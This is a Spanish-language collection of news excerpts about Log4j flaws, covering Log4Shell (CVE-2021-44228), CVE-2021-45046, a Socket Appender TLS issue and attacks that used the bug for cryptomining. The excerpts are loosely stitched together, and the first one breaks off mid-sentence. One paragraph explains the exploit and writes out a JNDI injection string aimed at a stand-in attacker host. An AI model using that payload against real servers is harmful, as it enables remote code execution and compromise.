Apache Logging Services ha revelado una vulnerabilidad de seguridad crítica en Log4j Core que expone a las aplicaciones a la posible interceptación de datos de registro. El fallo reside en el componente Socket Appender. Afecta a las versiones 2.0-beta9 hasta la 2.25.2, creando un vector de ataque de tipo "hombre en el medio" para actores maliciosos. El Socket Appender en las versiones afectadas de Log4j no verifica el TLS

 Esta semana marca el primer aniversario del descubrimiento de la vulnerabilidad Log4j/Log4Shell que afecta a la biblioteca de registro de Java. Y es que a pesar de ya haber pasado un año desde el incidente el número de descargas de versiones vulnerables de Log4j sigue siendo elevado, pues se ha calculado alrededor del 30-40% de todas las descargas son para la versión expuesta.

Raptoreum, es noticia debido a que los servidores HP, dotados de procesadores AMD EPYC, han sido hackeados aprovechando que eran vulnerables al exploit Log4J, lo que permitió que los atacantes accedieran a estos sistemas para aprovechar el enorme potencial de las CPUs EPYC para minar esta criptomoneda. Extraen más de $ 100,000 en 8 días

La vulnerabilidad Log4Shell parece estar lejos de dejar de ser un dolor de cabeza para gran parte de las plataformas de Internet. Grupos de ciberdelincuentes intentan explotarla miles de veces por segundo y, en ocasiones, consiguen lo que buscan. El Ministerio de Defensa de Bélgica se ha convertido en el primer país de la OTAN en ser victima de este fallo de seguridad.

Las versiones de Log4j anteriores a 2.16.0 están sujetas a una vulnerabilidad de ejecución remota de código a través del analizador ldap JNDI. El resumen de la vulnerabilidad anterior es que un servidor que utilice la librería de java vulnerable, cuando reciba una petición en alguno de los campos que necesitaría tratar (el User-Agent en este caso), parsearía el contenido (${variable} => ${jndi:ldap://evil.xa/x}), entraría log4j para su tratamiento, realizaría la query ldap hacia el destino (evil.xa) y éste le respondería con la clase maliciosa ejecutando el código existente en la misma.

Se ha dado  a conocer la noticia de que fue identificada otra vulnerabilidad en la implementación de búsquedas JNDI en la biblioteca Log4j 2 (CVE-2021-45046), que se manifiesta a pesar de las correcciones agregadas en la versión 2.15 e independientemente del uso de la configuración de protección «log4j2.noFormatMsgLookup».

Una vulnerabilidad zero-day recientemente descubierta en la biblioteca de registro de Java Apache Log4j, ampliamente utilizada (iCloud, Steam, incluso expotable en el chat de Minecraft), es muy fácil de explotar y permite a los atacantes obtener el control total de los servidores afectados. La vulnerabilidad, clasificada como CVE-2021-44228, es muy grave ya que permite la ejecución remota de código sin autenticación cuando el usuario que ejecuta la aplicación utiliza la biblioteca de registro de Java. Afecta Apache Struts2, Apache Solr, Apache Druid, Apache Flink.